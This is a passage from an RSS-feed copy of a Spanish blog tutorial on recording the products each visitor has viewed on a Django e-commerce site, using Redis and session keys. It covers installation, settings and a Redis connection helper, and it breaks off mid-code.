      <link>https://coffeebytes.dev/es/django/como-crear-un-historial-de-productos-visitados-con-django-y-redis/</link>
      <pubDate>Sat, 28 Nov 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/como-crear-un-historial-de-productos-visitados-con-django-y-redis/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Estás navegando en un ecommerce, un producto llama tu atención y haces click para verlo, no te convence. Decides ver otras opciones, haces click en un nuevo producto y, cuando haces scroll al fondo de la página, la página te muestra el primer producto que viste bajo la leyenda &amp;ldquo;Vistos recientemente&amp;rdquo;. Tú puedes hacer lo mismo con django y redis.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;django-y-redis&#34;&gt;django y redis&lt;/h2&gt;&#xA;&lt;p&gt;Agregar una sección de productos visitados aumenta las ventas en un ecommerce y mantiene al usuario más tiempo en la página. Es normal añadir este historial a un usuario que ya está en la base de datos. Los encargados de la página web tienen un historial de los productos que vemos, los que compramos, cuanto tiempo pasamos viéndolos y muchos otros datos pero&amp;hellip; ¿y los usuarios anónimos que no tienen una cuenta?&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-history-of-visited-products-with-django-and-redis/images/Historial-de-Amazon.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-history-of-visited-products-with-django-and-redis/images/Historial-de-Amazon.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Historial de productos visitados de amazon, incluye Cracking the code interview, Design Patterns, Clean Code y the Pragmatic Programmer.&#34; width=&#34;1525&#34; height=&#34;397&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Historial de cierta página de ecommerce que ya no necesita más publicidad.&lt;/p&gt;&#xA;&lt;p&gt;A lo mejor no te interesa (o a tu empresa) tener guardados en una base de datos el historial de millones de productos visitados por cada usuario anónimo que visita el sitio, pero aún así te gustaría mostrarle a cada usuario, registrado o no, los productos que ha visto.&lt;/p&gt;&#xA;&lt;p&gt;Redis es un motor de base de datos muy eficiente, trabaja con datos volátiles, pues almacena su información en memoria, por lo que su acceso es casi instantáneo, aunque volátil. Sin embargo &lt;strong&gt;es posible volcar su información a un medio permanente, como mysql, postgres u otra base de datos, posteriormente&lt;/strong&gt;. Seguramente podemos usar redis pero&amp;hellip; ¿cómo vamos a diferenciar un usuario anónimo de otro?&lt;/p&gt;&#xA;&lt;p&gt;Hay muchas maneras de abordar ese problema, puedes asociar un usuario (y su historial) con una cookie, ip o hasta un enlace de afiliado, etc. El tipo de dato que desees vincular depende de las intenciones del negocio. Para este ejemplo usaremos una session key del sistema de sesiones que ya viene incluido en django de manera predeterminada.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;instalar-redis-en-gnulinux&#34;&gt;Instalar redis en GNU/Linux&lt;/h2&gt;&#xA;&lt;p&gt;Antes de empezar a usar django y redis hay que instalar este último en nuestro sistema operativo GNU/Linux. Si no tienes ni idea de los comandos básicos en un entorno linux te sugiero visitar mi entrada que habla de los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-grep-ls-cd-history-cat-cp-rm-scp/&#34;&gt;comandos más comunes de GNU Linux&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install redis-server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;redis-server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;instalar-redis-para-python&#34;&gt;Instalar redis para Python&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;A continuación vamos a instalar el paquete que vincula redis con Python.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install redis&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el archivo &lt;em&gt;settings.py&lt;/em&gt; de nuestra aplicación, agregamos los valores por defecto que vamos a usar. Estos pueden ser diferentes si tu servidor de redis está en otra ubicación o si elegiste otro puerto en lugar del predeterminado.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REDIS_HOST &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;localhost&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REDIS_PORT &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6379&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REDIS_DB &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Además le pediremos a django que guarde la sesión con cada petición y nos aseguraremos que esté activo el middleware para sesiones.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MIDDLEWARES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sessions.middleware.SessionMiddleware&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SESSION_SAVE_EVERY_REQUEST &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Para este ejemplo uso un modelo llamado &lt;em&gt;Product,&lt;/em&gt; pero tu puedes sustituirlo por el equivalente en tu aplicación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# app/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Product&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si has llegado hasta aquí, pero no tienes idea de como funciona Django tengo unas entradas donde reseño un par de libros que pueden servirte: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/la-guia-definitiva-de-django/&#34;&gt;El libro definitivo de Django (Gratuito)&lt;/a&gt;&#xA; o &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/aprender-django-con-django-by-example-mi-resena/&#34;&gt;Django by example&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;eligiendo-el-valor-que-usaremos-como-llave-en-django-y-redis&#34;&gt;Eligiendo el valor que usaremos como llave en django y redis&lt;/h2&gt;&#xA;&lt;p&gt;Primero hay que elegir el momento en que redis guardará nuestro acceso al producto. La vista que devuelve los detalles de un producto sería lo ideal. De esta manera, cada que un usuario del sitio web acceda a los detalles del producto agregaremos la información del producto a su identificador de usuario.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Product&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_object_or_404&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;product_details&lt;/span&gt;(request, product_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    products &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Product&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all() &lt;span style=&#34;color:#78787e&#34;&gt;# O el queryset que prefieras&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    product &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_object_or_404(products, product_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ... más código &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Primeramente, vamos a obtener el objeto cuyos detalles estamos consultado, para eso usamos &lt;em&gt;get_object_or_404&lt;/em&gt;, al que le pasamos un queryset o un modelo y el &lt;em&gt;id&lt;/em&gt; que buscará.&lt;/p&gt;&#xA;&lt;p&gt;Ahora vamos a crear una serie de funciones para facilitar nuestro trabajo, puedes crearlas en un archivo separado, yo le llamaré &lt;em&gt;utils.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conectar-redis-y-python&#34;&gt;Conectar redis y python&lt;/h2&gt;&#xA;&lt;p&gt;En el archivo de utils.py vamos a establecer una conexión entre Python y Redis. El método StrictRedis recibirá los valores, estos son los mismos que especificamos en nuestro archivo de configuración, por lo que podemos importarlos directamente de ahí.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; redis&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.conf &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; settings&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;r &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; redis&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;StrictRedis(host&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;settings&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;REDIS_HOST,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;port&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;settings&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;REDIS_PORT,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;db&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;settings&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;REDIS_DB)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;crear-un-identificador-de-usuario-para-usar-como-llave-en-redis&#34;&gt;Crear un identificador de usuario para usar como llave en redis&lt;/h2&gt;&#xA;&lt;p&gt;Queremos asociar cada llave de redis a un usuario, por lo que, necesitamos una función que nos devuelva una manera de identificar a cada usuario de nuestra página. Para usuarios anónimos lo ideal sería usar una session key, si queremos incluir a usuarios con cuento podemos asociarlos directamente con su usuario.&lt;/p&gt;&#xA;&lt;p&gt;Nuestra función guarda la sesión si no existe una &lt;em&gt;session_key&lt;/em&gt;, de esta manera nos aseguraremos de siempre contar con una. La función nos devolverá la &lt;em&gt;session_key&lt;/em&gt; si el usuario es anónimo o el usuario si este ya esta loggeado.&lt;/p&gt;&#xA;&lt;p&gt;Para esto es necesario que reciba el objeto request como argumento.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_user_id_for_redis&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;not&lt;/span&gt; request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;session&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;session_key:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;session&lt;span 